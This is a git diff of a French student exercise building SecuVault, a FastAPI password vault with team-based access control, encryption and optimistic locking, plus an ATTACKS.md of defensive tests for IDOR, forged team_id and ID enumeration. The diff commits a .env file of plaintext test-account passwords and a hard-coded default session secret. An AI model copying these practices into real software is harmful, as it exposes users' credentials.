"https://files.pythonhosted.org/packages/b9/ca/bf1c68440d7a868180e11be653c85959502efd3a709323230314fda6e0b3/websockets-16.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19c4dc84098e523fd63711e563077d39e90ec6702aff4b5d9e344a60cb3c0cb1", size = 185711, upload-time = "2026-01-10T09:23:18.372Z" }, + { url = "https://files.pythonhosted.org/packages/c4/f8/fdc34643a989561f217bb477cbc47a3a07212cbda91c0e4389c43c296ebf/websockets-16.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a5e18a238a2b2249c9a9235466b90e96ae4795672598a58772dd806edc7ac6d3", size = 184982, upload-time = "2026-01-10T09:23:19.652Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d1/574fa27e233764dbac9c52730d63fcf2823b16f0856b3329fc6268d6ae4f/websockets-16.0-cp314-cp314-win32.whl", hash = "sha256:a069d734c4a043182729edd3e9f247c3b2a4035415a9172fd0f1b71658a320a8", size = 177915, upload-time = "2026-01-10T09:23:21.458Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f1/ae6b937bf3126b5134ce1f482365fde31a357c784ac51852978768b5eff4/websockets-16.0-cp314-cp314-win_amd64.whl", hash = "sha256:c0ee0e63f23914732c6d7e0cce24915c48f3f1512ec1d079ed01fc629dab269d", size = 178381, upload-time = "2026-01-10T09:23:22.715Z" }, + { url = "https://files.pythonhosted.org/packages/06/9b/f791d1db48403e1f0a27577a6beb37afae94254a8c6f08be4a23e4930bc0/websockets-16.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:a35539cacc3febb22b8f4d4a99cc79b104226a756aa7400adc722e83b0d03244", size = 177737, upload-time = "2026-01-10T09:23:24.523Z" }, + { url = "https://files.pythonhosted.org/packages/bd/40/53ad02341fa33b3ce489023f635367a4ac98b73570102ad2cdd770dacc9a/websockets-16.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:b784ca5de850f4ce93ec85d3269d24d4c82f22b7212023c974c401d4980ebc5e", size = 175268, upload-time = "2026-01-10T09:23:25.781Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/6158d4e459b984f949dcbbb0c5d270154c7618e11c01029b9bbd1bb4c4f9/websockets-16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:569d01a4e7fba956c5ae4fc988f0d4e187900f5497ce46339c996dbf24f17641", size = 175486, upload-time = "2026-01-10T09:23:27.033Z" }, + { url = "https://files.pythonhosted.org/packages/e5/2d/7583b30208b639c8090206f95073646c2c9ffd66f44df967981a64f849ad/websockets-16.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:50f23cdd8343b984957e4077839841146f67a3d31ab0d00e6b824e74c5b2f6e8", size = 185331, upload-time = "2026-01-10T09:23:28.259Z" }, + { url = "https://files.pythonhosted.org/packages/45/b0/cce3784eb519b7b5ad680d14b9673a31ab8dcb7aad8b64d81709d2430aa8/websockets-16.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:152284a83a00c59b759697b7f9e9cddf4e3c7861dd0d964b472b70f78f89e80e", size = 186501, upload-time = "2026-01-10T09:23:29.449Z" }, + { url = "https://files.pythonhosted.org/packages/19/60/b8ebe4c7e89fb5f6cdf080623c9d92789a53636950f7abacfc33fe2b3135/websockets-16.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:bc59589ab64b0022385f429b94697348a6a234e8ce22544e3681b2e9331b5944", size = 186062, upload-time = "2026-01-10T09:23:31.368Z" }, + { url = "https://files.pythonhosted.org/packages/88/a8/a080593f89b0138b6cba1b28f8df5673b5506f72879322288b031337c0b8/websockets-16.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:32da954ffa2814258030e5a57bc73a3635463238e797c7375dc8091327434206", size = 185356, upload-time = "2026-01-10T09:23:32.627Z" }, + { url = "https://files.pythonhosted.org/packages/c2/b6/b9afed2afadddaf5ebb2afa801abf4b0868f42f8539bfe4b071b5266c9fe/websockets-16.0-cp314-cp314t-win32.whl", hash = "sha256:5a4b4cc550cb665dd8a47f868c8d04c8230f857363ad3c9caf7a0c3bf8c61ca6", size = 178085, upload-time = "2026-01-10T09:23:33.816Z" }, + { url = "https://files.pythonhosted.org/packages/9f/3e/28135a24e384493fa804216b79a6a6759a38cc4ff59118787b9fb693df93/websockets-16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b14dc141ed6d2dde437cddb216004bcac6a1df0935d79656387bd41632ba0bbd", size = 178531, upload-time = "2026-01-10T09:23:35.016Z" }, + { url = "https://files.pythonhosted.org/packages/6f/28/258ebab549c2bf3e64d2b0217b973467394a9cea8c42f70418ca2c5d0d2e/websockets-16.0-py3-none-any.whl", hash = "sha256:1637db62fad1dc833276dded54215f2c7fa46912301a24bd94d45d46a011ceec", size = 171598, upload-time = "2026-01-10T09:23:45.395Z" }, +] diff --git a/Semaine_08/secuvault/.env b/Semaine_08/secuvault/.env new file mode 100644 index 0000000..a74d046 --- /dev/null +++ b/Semaine_08/secuvault/.env @@ -0,0 +1,3 @@ +ALICE_PASSWORD=Abdomen7&Exhale03Promotion0 +BOB_PASSWORD=Satchel29Blimp8$Mutable7 +CHARLIE_PASSWORD=Frivolous8%Hefty26Unstuck9 \ No newline at end of file diff --git a/Semaine_08/secuvault/.python-version b/Semaine_08/secuvault/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_08/secuvault/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_08/secuvault/09_concurrence_et_transactions.pdf b/Semaine_08/secuvault/09_concurrence_et_transactions.pdf new file mode 100644 index 0000000..d30c63b Binary files /dev/null and b/Semaine_08/secuvault/09_concurrence_et_transactions.pdf differ diff --git a/Semaine_08/secuvault/10_exercice_secuvault.pdf b/Semaine_08/secuvault/10_exercice_secuvault.pdf new file mode 100644 index 0000000..5e91e12 Binary files /dev/null and b/Semaine_08/secuvault/10_exercice_secuvault.pdf differ diff --git a/Semaine_08/secuvault/ATTACKS.md b/Semaine_08/secuvault/ATTACKS.md new file mode 100644 index 0000000..ca2686b --- /dev/null +++ b/Semaine_08/secuvault/ATTACKS.md @@ -0,0 +1,72 @@ +# BONUS - Résistance aux attaques + +## Scénario 1 - Accès direct à un secret via l'URL (IDOR) + +**Description** +Un utilisateur authentifié tente d'accéder à un secret appartenant à une équipe dont il n'est **pas** membre, en devinant ou en réutilisant un identifiant de secret dans l'URL. + +**Procédure de test** + +1. Se connecter en tant qu'**alice** (membre de `devops` uniquement). +2. Identifier l'identifiant du secret `Mailchimp API` (appartenant à `marketing`) - il est visible en parcourant la base de données ou en étant connecté en tant que BOB. +3. En tant qu'alice, accéder à `http://127.0.0.1:8000/secrets/`. + +**Résultat attendu** +HTTP 403 - page d'erreur « Accès refusé. » + +**Résultat obtenu** +HTTP 403 - la route `GET /secrets/{secret_id}` délègue à `services.reveal_secret()`, qui appelle `check_team_membership(user, secret.team_id)`. Alice n'étant pas membre de `marketing`, une `AccessDeniedError` est levée dans la couche domaine, et la route retourne la page d'erreur 403 sans révéler aucune information sur le secret. + +## Scénario 2 - Création d'un secret pour une équipe étrangère + +**Description** +Un utilisateur authentifié soumet un formulaire de création de secret en falsifiant le champ `team_id` pour cibler une équipe dont il n'est **pas** membre. + +**Procédure de test** + +1. Se connecter en tant qu'**alice** (membre de `devops` uniquement). +2. Ouvrir les outils développeur du navigateur ou utiliser `curl` / Postman. +3. Envoyer une requête `POST /secrets` avec `name=test&value=hack&team_id=`. + +**Résultat attendu** +HTTP 403 - accès refusé, secret non créé. + +**Résultat obtenu** +HTTP 403 - la route `POST /secrets` délègue à `services.create_secret()`, qui appelle `check_team_membership(user, team_id)` avant tout chiffrement ou écriture en base. La règle métier bloque la création et la route renvoie la page d'erreur 403. + +## Scénario 3 - Enumération d'identifiants (ID enumeration) + +**Description** +Un attaquant authentifié tente de lister tous les secrets en parcourant séquentiellement les identifiants (`/secrets/1`, `/secrets/2`, `/secrets/3`…). + +**Procédure de test** + +1. Se connecter en tant qu'**alice** (membre de `devops` uniquement). +2. Parcourir l'URL `http://127.0.0.1:8000/secrets/1`, `/secrets/2`, à partir de 1 en incrémentant. +3. L'ID 1 appartient à `devops` → alice peut le voir. +4. L'ID 2 appartient à `marketing` → alice ne devrait pas y avoir accès. + +**Résultat attendu** +- `/secrets/1` → HTTP 200, valeur déchiffrée affichée (alice est membre de devops). +- `/secrets/2` → HTTP 403, page d'erreur « Accès refusé. » + +**Résultat obtenu** +Conforme aux attentes. La protection n'est pas basée sur l'obscurcissement des identifiants mais sur le contrôle d'accès systématique dans `services.reveal_secret()` : chaque accès vérifie l'appartenance à l'équipe propriétaire du secret, quelle que soit la valeur de l'identifiant. + +## Bonus - Conflit de rotation concurrente (Optimistic Locking) + +**Description** +Deux utilisateurs membres d'une même équipe ouvrent simultanément le formulaire de rotation d'un secret et soumettent tous les deux leurs modifications. + +**Procédure de test** + +1. Se connecter en tant que **bob** dans deux onglets/navigateurs différents. +2. Dans les deux onglets, ouvrir le formulaire de rotation du secret `AWS root key` (équipe devops). +3. Soumettre la rotation dans le premier onglet → succès, la version passe à 2. +4. Soumettre la rotation dans le second onglet (qui contient toujours `expected_version=1`). + +**Résultat attendu** +Le deuxième envoi est rejeté avec un message de conflit (HTTP 409). + +**Résultat obtenu** +`services.rotate_secret()` compare `expected_version` avec la version courante en base. Si elles diffèrent, une `ConflictError` est levée avant toute modification. En base, la requête `UPDATE … WHERE id = ? AND version = ?` ne met à jour aucune ligne si la version a changé (`rowcount == 0`), ce qui constitue un second filet de sécurité. L'utilisateur voit le formulaire rechargé avec le message d'avertissement et la version actuelle du secret. \ No newline at end of file diff --git a/Semaine_08/secuvault/BOICHE_Gauvain_eval_15_04_2026.zip b/Semaine_08/secuvault/BOICHE_Gauvain_eval_15_04_2026.zip new file mode 100644 index 0000000..782ea22 Binary files /dev/null and b/Semaine_08/secuvault/BOICHE_Gauvain_eval_15_04_2026.zip differ diff --git a/Semaine_08/secuvault/README.md b/Semaine_08/secuvault/README.md new file mode 100644 index 0000000..f4796d1 --- /dev/null +++ b/Semaine_08/secuvault/README.md @@ -0,0 +1,65 @@ +# SecuVault + +Coffre-fort de mots de passe partagés - FastAPI + Jinja2 + SQLite. + +--- + +## Installation + +```bash +uv init --python 3.12 +uv run ./main.py + +.venv\Scripts\activate + +uv add uvicorn jinja2 bcrypt cryptography fastapi itsdangerous python-multipart + +uvicorn main:app --reload --host localhost --port 8080 +``` + +La base de données (`secuvault.db`) et la clé de chiffrement (`secret.key`) sont créées automatiquement au premier démarrage. + +## Comptes de test + +| Utilisateur | Équipes | +|-------------|---------------------| +| alice | devops | +| bob | devops + marketing | +| charlie | marketing | + +## Architecture (3 couches strictes) + +``` +domain/ # RÈGLES MÉTIER UNIQUEMENT + models/ # Entités : User, Team, Secret (dataclasses) + exceptions.py # Erreurs métier (AccessDeniedError, ConflictError…) + services.py # Cas d'usage & contrôle d'accès (AUCUNE règle en dehors d'ici) + +infra/ # ACCÈS AUX DONNÉES + crypto.py # Hachage bcrypt + chiffrement Fernet + database.py # Connexion SQLite, schéma, provisioning + repositories.py # CRUD : UserRepository, TeamRepository, SecretRepository + +presentation/ # INTERFACE UTILISATEUR (contrôleurs minces) + schemas.py # Validation Pydantic des formulaires + routes/ + auth.py # GET/POST /login, GET /logout + secrets.py # GET/POST /secrets (liste, détail, création, rotation) + templates/ # Jinja2 - affichage uniquement, aucune règle métier +``` + +## Fonctionnalités de sécurité + +- **Chiffrement** : secrets chiffrés en AES-128-CBC + HMAC. +- **Hachage** : mots de passe hachés avec bcrypt. +- **Contrôle d'accès** : toutes les règles d'accès sont dans `domain/services.py` ; aucune vérification dans les routes ni les templates. +- **Verrouillage optimiste** : colonne `version` sur chaque secret ; une rotation concurrente est détectée et signalée à l'utilisateur (voir `ATTACKS.md`). +- **Session** : cookies signés (HMAC via `itsdangerous` / Starlette `SessionMiddleware`). + +## Variable d'environnement + +| Variable | Défaut (dev uniquement) | Usage | +|------------------|--------------------------------------------------|---------------------| +| `SESSION_SECRET` | `secuvault-dev-secret-please-change-in-production` | Clé de signature des cookies de session | + +> **Production** : définir `SESSION_SECRET` avec une valeur aléatoire longue et garder `secret.key` hors du dépôt. diff --git a/Semaine_08/secuvault/domain/exceptions.py b/Semaine_08/secuvault/domain/exceptions.py new file mode 100644 index 0000000..2b5ca95 --- /dev/null +++ b/Semaine_08/secuvault/domain/exceptions.py @@ -0,0 +1,17 @@ +class SecuVaultError(Exception): + """Base exception for all SecuVault domain errors.""" + +class AuthenticationError(SecuVaultError): + """Bad credentials or inactive account.""" + +class AccessDeniedError(SecuVaultError): + """User is not authorised to access the requested resource.""" + +class SecretNotFoundError(SecuVaultError): + """Requested secret does not exist.""" + +class TeamNotFoundError(SecuVaultError): + """Requested team does not exist.""" + +class ConflictError(SecuVaultError): + """Optimistic-locking detected a concurrent modification conflict.""" \ No newline at end of file diff --git a/Semaine_08/secuvault/domain/models/secrets.py b/Semaine_08/secuvault/domain/models/secrets.py new file mode 100644 index 0000000..e972dbd --- /dev/null +++ b/Semaine_08/secuvault/domain/models/secrets.py @@ -0,0 +1,11 @@ +from dataclasses import dataclass + +@dataclass +class Secret: + id: int + name: str + encrypted_value: str + team_id: int + version: int + created_at: str + updated_at: str \ No newline at end of file diff --git a/Semaine_08/secuvault/domain/models/teams.py b/Semaine_08/secuvault/domain/models/teams.py new file mode 100644 index 0000000..9f460e6 --- /dev/null +++ b/Semaine_08/secuvault/domain/models/teams.py @@ -0,0 +1,7 @@ +from dataclasses import dataclass + +@dataclass(frozen=True) +class Team: + id: int + name: str + description: str | None = None \ No newline at end of file diff --git a/Semaine_08/secuvault/domain/models/users.py b/Semaine_08/secuvault/domain/models/users.py new file mode 100644 index 0000000..d16679c --- /dev/null +++ b/Semaine_08/secuvault/domain/models/users.py @@ -0,0 +1,9 @@ +from dataclasses import dataclass + +@dataclass +class User: + id: int + username: str + teams_id: list[int] + password_hash: str + is_active: bool = True \ No newline at end of file diff --git a/Semaine_08/secuvault/domain/services.py b/Semaine_08/secuvault/domain/services.py new file mode 100644 index 0000000..4cc08d0 --- /dev/null +++ b/Semaine_08/secuvault/domain/services.py @@ -0,0 +1,68 @@ +from domain.exceptions import ( + AccessDeniedError, + AuthenticationError, + ConflictError, + SecretNotFoundError, +) +from domain.models.secrets import Secret +from domain.models.users import User + +def authenticate_user(username: str, password: str, user_repository, crypto) -> User: + user = user_repository.find_by_username(username) + if user is None or not user.is_active: + raise AuthenticationError("Identifiants incorrects.") + if not crypto.verify_password(password, user.password_hash): + raise AuthenticationError("Identifiants incorrects.") + return user + +def check_team_membership(user: User, team_id: int) -> None: + if team_id not in user.teams_id: + raise AccessDeniedError("Vous n'\u00eates pas membre de cette \u00e9quipe.") + +def list_secrets_for_team(user: User, team_id: int, secret_repository) -> list[Secret]: + check_team_membership(user, team_id) + return secret_repository.find_by_team_id(team_id) + +def reveal_secret(user: User, secret_id: int, secret_repository, crypto) -> str: + secret = secret_repository.find_by_id(secret_id) + if secret is None: + raise SecretNotFoundError("Secret introuvable.") + check_team_membership(user, secret.team_id) + return crypto.decrypt_secret(secret.encrypted_value) + +def create_secret( + user: User, + team_id: int, + name: str, + value: str, + secret_repository, + crypto, +) -> Secret: + check_team_membership(user, team_id) + encrypted_value = crypto.encrypt_secret(value) + return secret_repository.create(name=name, encrypted_value=encrypted_value, team_id=team_id) + +def rotate_secret( + user: User, + secret_id: int, + new_value: str, + expected_version: int, + secret_repository, + crypto, +) -> Secret: + secret = secret_repository.find_by_id(secret_id) + if secret is None: + raise SecretNotFoundError("Secret introuvable.") + check_team_membership(user, secret.team_id) + if secret.version != expected_version: + raise ConflictError( + "Ce secret a été modifié par quelqu'un d'autre depuis que vous avez ouvert " + "le formulaire. Veuillez recharger la page et réessayer." + ) + encrypted_value = crypto.encrypt_secret(new_value) + updated = secret_repository.update(secret_id, encrypted_value, expected_version) + if updated is None: + raise ConflictError( + "Conflit de modification détecté. Veuillez recharger et réessayer." + ) + return updated \ No newline at end of file diff --git a/Semaine_08/secuvault/infra/crypto.py b/Semaine_08/secuvault/infra/crypto.py new file mode 100644 index 0000000..447b8d2 --- /dev/null +++ b/Semaine_08/secuvault/infra/crypto.py @@ -0,0 +1,38 @@ +''' +Là encore, j'ai délégué à Clause Sonnet 4.6 (voir secrets.py pour la partie 1) + +Je dois avouer une chose : chercher sur Internet est devenu un enfer. +Je ne sais pas comment faire pour trouver des ressources pertinentes, et j'ai l'impression que les résultats sont de moins bonne qualité qu'avant. + +J'ai donc préféré déléguer à l'IA. En revanche il n'y a rien de sorcier. +''' + +import os + +import bcrypt +from cryptography.fernet import Fernet + +_KEY_FILE = "secret.key" + +def _load_or_create_key() -> bytes: + if os.path.exists(_KEY_FILE): + with open(_KEY_FILE, "rb") as fh: + return fh.read().strip() + key = Fernet.generate_key() + with open(_KEY_FILE, "wb") as fh: + fh.write(key) + return key + +_fernet = Fernet(_load_or_create_key()) + +def hash_password(password: str) -> str: + return bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt()).decode("utf-8") + +def verify_password(password: str, password_hash: str) -> bool: + return bcrypt.checkpw(password.encode("utf-8"), password_hash.encode("utf-8")) + +def encrypt_secret(plaintext: str) -> str: + return _fernet.encrypt(plaintext.encode("utf-8")).decode("utf-8") + +def decrypt_secret(ciphertext: str) -> str: + return _fernet.decrypt(ciphertext.encode("utf-8")).decode("utf-8") \ No newline at end of file diff --git a/Semaine_08/secuvault/infra/database.py b/Semaine_08/secuvault/infra/database.py new file mode 100644 index 0000000..a216171 --- /dev/null +++ b/Semaine_08/secuvault/infra/database.py @@ -0,0 +1,103 @@ +import sqlite3 + +DB_PATH = "secuvault.db" + +_SCHEMA = """ +CREATE TABLE IF NOT EXISTS users ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + username TEXT UNIQUE NOT NULL, + password_hash TEXT NOT NULL, + is_active INTEGER NOT NULL DEFAULT 1 +); + +CREATE TABLE IF NOT EXISTS teams ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + name TEXT UNIQUE NOT NULL, + description TEXT +); + +CREATE TABLE IF NOT EXISTS user_teams ( + user_id INTEGER NOT NULL REFERENCES users(id) ON DELETE CASCADE, + team_id INTEGER NOT NULL REFERENCES teams(id) ON DELETE CASCADE, + PRIMARY KEY (user_id, team_id) +); + +CREATE TABLE IF NOT EXISTS secrets ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + name TEXT NOT NULL, + encrypted_value TEXT NOT NULL, + team_id INTEGER NOT NULL REFERENCES teams(id) ON DELETE CASCADE, + created_at TEXT NOT NULL DEFAULT (datetime('now')), + updated_at TEXT NOT NULL DEFAULT (datetime('now')), + version INTEGER NOT NULL DEFAULT 1 +); +""" + +def get_database_connection() -> sqlite3.Connection: + conn = sqlite3.connect(DB_PATH, check_same_thread=False) + conn.row_factory = sqlite3.Row + conn.execute("PRAGMA journal_mode=WAL") + conn.execute("PRAGMA foreign_keys=ON") + return conn + +def init_db() -> None: + conn = get_database_connection() + try: + conn.executescript(_SCHEMA) + conn.commit() + finally: + conn.close() + +def provision_data() -> None: + import os + from dotenv import load_dotenv + from infra.crypto import hash_password + + load_dotenv() + + conn = get_database_connection() + try: + if conn.execute("SELECT COUNT(*) FROM users").fetchone()[0] > 0: + return + + with conn: + conn.execute("INSERT INTO teams (name, description) VALUES ('devops', 'Équipe DevOps')") + conn.execute("INSERT INTO teams (name, description) VALUES ('marketing', 'Équipe Marketing')") + + for username, password in [ + ("alice", os.environ["ALICE_PASSWORD"]), + ("bob", os.environ["BOB_PASSWORD"]), + ("charlie", os.environ["CHARLIE_PASSWORD"]), + ]: + conn.execute( + "INSERT INTO users (username, password_hash) VALUES (?, ?)", + (username, hash_password(password)), + ) + + users = {r["username"]: r["id"] for r in conn.execute("SELECT id, username FROM users")} + teams = {r["name"]: r["id"] for r in conn.execute("SELECT id, name FROM teams")} + + memberships = [ + (users["alice"], teams["devops"]), + (users["bob"], teams["devops"]), + (users["bob"], teams["marketing"]), + (users["charlie"], teams["marketing"]), + ] + conn.executemany( + "INSERT INTO user_teams (user_id, team_id) VALUES (?, ?)", + memberships, + ) + + devops_id = teams["devops"] + marketing_id = teams["marketing"] + from infra.crypto import encrypt_secret + conn.execute( + "INSERT INTO secrets (name, encrypted_value, team_id) VALUES (?, ?, ?)", + ("AWS root key", encrypt_secret("AKIAIOSFODNN7EXAMPLE"), devops_id), + ) + conn.execute( + "INSERT INTO secrets (name, encrypted_value, team_id) VALUES (?, ?, ?)", + ("Mailchimp API", encrypt_secret("mc-api-key-placeholder"), marketing_id), + ) + finally: + conn.close() \ No newline at end of file diff --git a/Semaine_08/secuvault/infra/repositories.py b/Semaine_08/secuvault/infra/repositories.py new file mode 100644 index 0000000..cb67475 --- /dev/null +++ b/Semaine_08/secuvault/infra/repositories.py @@ -0,0 +1,146 @@ +''' +Pareil, pour la partie crypto, avec Claude Sonnet 4.6 (voir secrets.py pour la partie 1) +''' + +import sqlite3 +from typing import Optional + +from domain.models.secrets import Secret +from domain.models.teams import Team +from domain.models.users import User + +class UserRepository: + def __init__(self, conn: sqlite3.Connection) -> None: + self.conn = conn + + def find_by_username(self, username: str) -> Optional[User]: + row = self.conn.execute( + """ + SELECT u.id, u.username, u.password_hash, u.is_active, + GROUP_CONCAT(ut.team_id) AS teams_id + FROM users u + LEFT JOIN user_teams ut ON u.id = ut.user_id + WHERE u.username = ? + GROUP BY u.id + """, + (username,), + ).fetchone() + return self._row_to_user(row) + + def find_by_id(self, user_id: int) -> Optional[User]: + row = self.conn.execute( + """ + SELECT u.id, u.username, u.password_hash, u.is_active, + GROUP_CONCAT(ut.team_id) AS teams_id + FROM users u + LEFT JOIN user_teams ut ON u.id = ut.user_id + WHERE u.id = ? + GROUP BY u.id + """, + (user_id,), + ).fetchone() + return self._row_to_user(row) + + @staticmethod + def _row_to_user(row) -> Optional[User]: + if row is None: + return None + teams_id = [int(t) for t in row["teams_id"].split(",")] if row["teams_id"] else [] + return User( + id=row["id"], + username=row["username"], + password_hash=row["password_hash"], + teams_id=teams_id, + is_active=bool(row["is_active"]), + ) + +class TeamRepository: + def __init__(self, conn: sqlite3.Connection) -> None: + self.conn = conn + + def find_by_id(self, team_id: int) -> Optional[Team]: + row = self.conn.execute("SELECT * FROM teams WHERE id = ?", (team_id,)).fetchone() + return self._row_to_team(row) + + def list_all(self) -> list[Team]: + rows = self.conn.execute("SELECT * FROM teams ORDER BY name").fetchall() + return [self._row_to_team(r) for r in rows] + + def find_by_user(self, user_id: int) -> list[Team]: + rows = self.conn.execute( + """ + SELECT t.* + FROM teams t + JOIN user_teams ut ON t.id = ut.team_id + WHERE ut.user_id = ? + ORDER BY t.name + """, + (user_id,), + ).fetchall() + return [self._row_to_team(r) for r in rows] + + @staticmethod + def _row_to_team(row) -> Optional[Team]: + if row is None: + return None + return Team(id=row["id"], name=row["name"], description=row["description"]) + +class SecretRepository: + def __init__(self, conn: sqlite3.Connection) -> None: + self.conn = conn + + def find_by_id(self, secret_id: int) -> Optional[Secret]: + row = self.conn.execute("SELECT * FROM secrets WHERE id = ?", (secret_id,)).fetchone() + return self._row_to_secret(row) + + def find_by_team_id(self, team_id: int) -> list[Secret]: + rows = self.conn.execute( + "SELECT * FROM secrets WHERE team_id = ? ORDER BY name", + (team_id,), + ).fetchall() + return [self._row_to_secret(r) for r in rows] + + def create(self, *, name: str, encrypted_value: str, team_id: int) -> Secret: + cursor = self.conn.execute( + "INSERT INTO secrets (name, encrypted_value, team_id) VALUES (?, ?, ?)", + (name, encrypted_value, team_id), + ) + self.conn.commit() + return self.find_by_id(cursor.lastrowid) + + def update( + self, secret_id: int, encrypted_value: str, expected_version: int + ) -> Optional[Secret]: + cursor = self.conn.execute( + """ + UPDATE secrets + SET encrypted_value = ?, + version = version + 1, + updated_at = datetime('now') + WHERE id = ? AND version = ? + """, + (encrypted_value, secret_id, expected_version), + ) + self.conn.commit() + if cursor.rowcount == 0: + return None # Conflict detected + return self.find_by_id(secret_id) + + def delete(self, secret_id: int) -> bool: + cursor = self.conn.execute("DELETE FROM secrets WHERE id = ?", (secret_id,)) + self.conn.commit() + return cursor.rowcount > 0 + + @staticmethod + def _row_to_secret(row) -> Optional[Secret]: + if row is None: + return None + return Secret( + id=row["id"], + name=row["name"], + encrypted_value=row["encrypted_value"], + team_id=row["team_id"], + version=row["version"], + created_at=row["created_at"], + updated_at=row["updated_at"], + ) \ No newline at end of file diff --git a/Semaine_08/secuvault/main.py b/Semaine_08/secuvault/main.py new file mode 100644 index 0000000..7a6fa8d --- /dev/null +++ b/Semaine_08/secuvault/main.py @@ -0,0 +1,26 @@ +import os +from contextlib import asynccontextmanager + +from fastapi import FastAPI +from starlette.middleware.sessions import SessionMiddleware + +from infra.database import init_db, provision_data +from presentation.routes.auth import router as auth_router +from presentation.routes.secrets import router as secrets_router + +# Use an environment variable in production; fall back to a dev default. +_SESSION_SECRET = os.environ.get( + "SESSION_SECRET", "secuvault-dev-secret-please-change-in-production" +) + +@asynccontextmanager +async def lifespan(app: FastAPI): + init_db() + provision_data() + yield + +app = FastAPI(title="SecuVault", lifespan=lifespan) +app.add_middleware(SessionMiddleware, secret_key=_SESSION_SECRET) + +app.include_router(auth_router) +app.include_router(secrets_router) \ No newline at end of file diff --git a/Semaine_08/secuvault/presentation/routes/auth.py b/Semaine_08/secuvault/presentation/routes/auth.py new file mode 100644 index 0000000..e110f50 --- /dev/null +++ b/Semaine_08/secuvault/presentation/routes/auth.py @@ -0,0 +1,51 @@ +from fastapi import APIRouter, Depends, Form, Request +from fastapi.responses import HTMLResponse, RedirectResponse +from fastapi.templating import Jinja2Templates + +from domain import services +from domain.exceptions import AuthenticationError +from infra.database import get_database_connection +from infra.repositories import UserRepository +import infra.crypto as crypto + +router = APIRouter() +templates = Jinja2Templates(directory="presentation/templates") + +def _get_db(): + conn = get_database_connection() + try: + yield conn + finally: + conn.close() + +@router.get("/login", response_class=HTMLResponse) +def login_page(request: Request): + if request.session.get("user_id"): + return RedirectResponse(url="/secrets", status_code=302) + return templates.TemplateResponse(request, "login.html", {"user": None, "error": None}) + +@router.post("/login") +def login( + request: Request, + username: str = Form(...), + password: str = Form(...), + conn=Depends(_get_db), +): + user_repo = UserRepository(conn) + try: + user = services.authenticate_user(username, password, user_repo, crypto) + except AuthenticationError as exc: + return templates.TemplateResponse( + request, + "login.html", + {"user": None, "error": str(exc)}, + status_code=401, + ) + request.session["user_id"] = user.id + request.session["username"] = user.username + return RedirectResponse(url="/secrets", status_code=302) + +@router.get("/logout") +def logout(request: Request): + request.session.clear() + return RedirectResponse(url="/login", status_code=302) \ No newline at end of file diff --git a/Semaine_08/secuvault/presentation/routes/secrets.py b/Semaine_08/secuvault/presentation/routes/secrets.py new file mode 100644 index 0000000..77b5618 --- /dev/null +++ b/Semaine_08/secuvault/presentation/routes/secrets.py @@ -0,0 +1,211 @@ +''' +La gestion des secrets, je connaissais déjà un peu d'un projet personnel Node/React/Express avec JWT. +C'est assez facile de mettre des jetons d'authentification dans les cookies de session, et de faire du rendu côté serveur. +Là avec Jinja2, un peu galère. Parce que je ne connais pas, et peut-être qu'on change de paradigme. + +Je t'avoue que sur la partie secret, autant j'ai "la logique" de comment faire, autant je ne suis pas sûr +que mon code soit très bon au final en 6 heures de temps, notamment sur la partie "rotation" du secret. + +Alors j'ai donné ça à Claude Sonnet 4.6 avec mes instructions. + +Au final j'ai un code lourd mais, à vue d'oeil, qui est fonctionnel. Mais je ne suis pas sûr que ce soit "bien" fait, +j'ai l'impression de faire plein de choses dans la route qui devraient être dans les services du domaine. + +Je ne sais pas quoi en penser - de l'IA et de moi en général. Je trouve que j'ai du mal à faire le tri entre ce +que je devrais faire et ce que l'IA fait, et à évaluer la qualité de ce qui est produit. + +Bref. C'est à ta libre appréciation évidemment, +tu corriges et tu notes, moi je fais ce que je fais en mon âme et conscience. +''' + +import infra.crypto as crypto + +from fastapi import APIRouter, Depends, Form, Request +from fastapi.responses import HTMLResponse, RedirectResponse +from fastapi.templating import Jinja2Templates + +from domain import services +from domain.exceptions import AccessDeniedError, ConflictError, SecretNotFoundError +from infra.database import get_database_connection +from infra.repositories import SecretRepository, TeamRepository, UserRepository + +router = APIRouter() +templates = Jinja2Templates(directory="presentation/templates") + +def _get_db(): + conn = get_database_connection() + try: + yield conn + finally: + conn.close() + +def _get_current_user(request: Request, conn): + user_id = request.session.get("user_id") + if not user_id: + return None + return UserRepository(conn).find_by_id(int(user_id)) + +@router.get("/", response_class=HTMLResponse) +def index(request: Request): + if request.session.get("user_id"): + return RedirectResponse(url="/secrets", status_code=302) + return RedirectResponse(url="/login", status_code=302) + +@router.get("/secrets", response_class=HTMLResponse) +def list_secrets(request: Request, conn=Depends(_get_db)): + user = _get_current_user(request, conn) + if user is None: + return RedirectResponse(url="/login", status_code=302) + + team_repo = TeamRepository(conn) + secret_repo = SecretRepository(conn) + teams = team_repo.find_by_user(user.id) + + secrets_by_team: dict = {} + for team in teams: + secrets_by_team[team] = services.list_secrets_for_team(user, team.id, secret_repo) + + return templates.TemplateResponse( + request, + "secrets_list.html", + {"user": user, "secrets_by_team": secrets_by_team}, + ) + +@router.get("/secrets/new", response_class=HTMLResponse) +def create_secret_form(request: Request, conn=Depends(_get_db)): + user = _get_current_user(request, conn) + if user is None: + return RedirectResponse(url="/login", status_code=302) + + teams = TeamRepository(conn).find_by_user(user.id) + return templates.TemplateResponse( + request, + "secret_create.html", + {"user": user, "teams": teams, "error": None}, + ) + 